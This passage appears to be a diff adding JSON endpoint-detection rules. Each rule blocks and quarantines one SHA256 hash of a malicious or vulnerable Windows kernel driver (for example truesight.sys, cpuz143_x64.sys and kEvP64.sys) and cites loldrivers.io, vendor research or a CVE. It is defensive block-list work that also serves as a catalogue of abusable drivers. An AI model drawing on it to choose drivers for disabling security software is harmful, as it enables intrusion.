+  "value": "50819a1add4c81c0d53203592d6803f022443440935ff8260ff3b6d5253c0c76",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d22072f-e246-5353-98f4-295da2d365d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610863Z",
+  "creation_date": "2026-03-23T11:45:29.610865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610888Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f74ffd6916333662900cbecb90aca2d6475a714ce410adf9c5c3264abbe5732c",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d5f732a-c3a1-56c0-ac93-907e27a780ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144164Z",
+  "creation_date": "2026-03-23T11:45:32.144167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4421ff85aacbcc36695a018c5c47e884d56d62d7d5b8172bb70384ffc4d6a2e4",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d630ebb-7662-536e-954f-952943480618",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824536Z",
+  "creation_date": "2026-03-23T11:45:30.824540Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebb1ec918e1cfb6f9b3e93f0a60f0db48b7aea59810a4f31cf26ab118cd988d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d63a7aa-64b4-525b-ba91-6f1d4ee8165a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479505Z",
+  "creation_date": "2026-03-23T11:45:31.479509Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a1caec70d9dad22668bdddbe246c9b30c2ed79477726a361da7701385d4d09b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d65e827-a375-5c6d-bb1f-42dc8ee08c58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828252Z",
+  "creation_date": "2026-03-23T11:45:31.828255Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828263Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d67f261038e85da36d146f7c024e10d13fcee24f5d033600791ea63bde0c5a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d759d9d-d434-57fc-b96d-65d0206e6165",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827326Z",
+  "creation_date": "2026-03-23T11:45:30.827328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a38b669c7f300abe26a58a6f4659534807f54ea885f27debcc4daba8cea9ace1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d7a363f-5f96-5f3b-a865-87c6a04a4378",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817268Z",
+  "creation_date": "2026-03-23T11:45:30.817270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "129bfa559bde499f748cffc218f2b7ec4b22ee3114ceae8e386fbbe4e58e4523",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d7e5698-f590-5c82-a080-152bec8d3aae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151003Z",
+  "creation_date": "2026-03-23T11:45:31.151005Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151010Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58bb0343ba788e72c723014cbea43820b05159be07b903a6c97ee426bdce753f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d86b900-97bc-56ec-8868-e4fdfa13539c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146796Z",
+  "creation_date": "2026-03-23T11:45:31.146797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146803Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45c4998d19df334deff602a8596ad512bee00f5e536fb91dc87d5337646a3638",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d89a721-68f1-5bda-9794-721b19291e3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152857Z",
+  "creation_date": "2026-03-23T11:45:31.152860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152883Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0fa17d520322412e349284f172fa0f13ca4ef58956e00d367fd0bfabe18c2ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d920d27-cc58-5646-b70e-d907d093ae5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154169Z",
+  "creation_date": "2026-03-23T11:45:31.154171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c3060d8b89d166ce600f28b9a403a70544adf108b0e2c3e09692c810023e879",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d9854a2-a760-588e-8af2-8c2463967084",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824403Z",
+  "creation_date": "2026-03-23T11:45:30.824405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e15e71021dc3bc0ccf6a0ad825d004b42feea9cf1c0f3d8510edfa26dce2ee5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0d9e5653-e538-57b2-aba0-26a0c34f14e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986154Z",
+  "creation_date": "2026-03-23T11:45:29.986156Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43b7715e38449bf82ad0bb6b11d03da42150c1ee23148c5f396cc4ab1001622d",
+  "comment": "Vulnerable Kernel Driver (aka directio.sys) [https://www.loldrivers.io/drivers/a2c3f6e9-25a5-4b75-8c6b-ad2d4e155822/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0dbf5b7f-cd7d-5a8a-9f3c-9e6d2901c2b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495604Z",
+  "creation_date": "2026-03-23T11:45:31.495607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8461e722353e4ca2ff34fbef078c850c16498ed7a6d7581f20ee421584010f70",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0dc1c543-d24e-5c3f-b42b-1a6bb7c2cbe4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815785Z",
+  "creation_date": "2026-03-23T11:45:30.815787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17942865680bd3d6e6633c90cc4bd692ae0951a8589dbe103c1e293b3067344d",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0dd17a6f-ac8c-50b8-b91a-95255e0eb552",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472433Z",
+  "creation_date": "2026-03-23T11:45:30.472436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e51ec2876af3c9c3f1563987a9a35a10f091ea25ede16b1a34ba2648c53e9dfc",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ddb945b-8a83-5c19-a6e8-2fcc0b6cd4be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971802Z",
+  "creation_date": "2026-03-23T11:45:29.971804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23ab90e1990b4c5250f7bacbc7ff90e989583a2ccacf4ba333255f1d385d0ad8",
+  "comment": "PowerTool Hacktool malicious driver (aka kEvP64.sys) [https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/HackTool.Win64.ToolPow.A/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0dde037c-0457-5836-a6be-ec538971fcff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820567Z",
+  "creation_date": "2026-03-23T11:45:31.820569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a34ccbaf4dfd2dd8c97d5d346abf177e7b1a5d97d462053eae75bc53f48b949b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ddf9429-89f6-57e3-b49c-dbe3f4711d32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607012Z",
+  "creation_date": "2026-03-23T11:45:29.607014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19d579e5a08bcb524405bdcbd2ea7247548af9f23ce64582a5be5ae3f184ad23",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0de38a08-7c51-5dfe-afc0-72ab6e44b7f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456624Z",
+  "creation_date": "2026-03-23T11:45:30.456627Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "507724d96a54f3e45c16a065bf38ae82a9b80d07096a461068a701cae0c1cf29",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0de8afcf-6164-5207-972e-316b527d0aca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820685Z",
+  "creation_date": "2026-03-23T11:45:30.820687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07d0090c76155318e78a676e2f8af1500c20aaa1e84f047c674d5f990f5a09c8",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0de8dc3b-7182-5698-a360-0dd92ddb48d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985612Z",
+  "creation_date": "2026-03-23T11:45:29.985614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92f9d73cec5ab3352c4b3cbf4574d13b2e506cba24cc74580e19e941063eaf7d",
+  "comment": "Vulnerable Kernel Driver (aka echo_driver.sys) [https://ioctl.fail/echo-ac-writeup/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0df226fe-4357-5400-b1c3-18658b719d53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
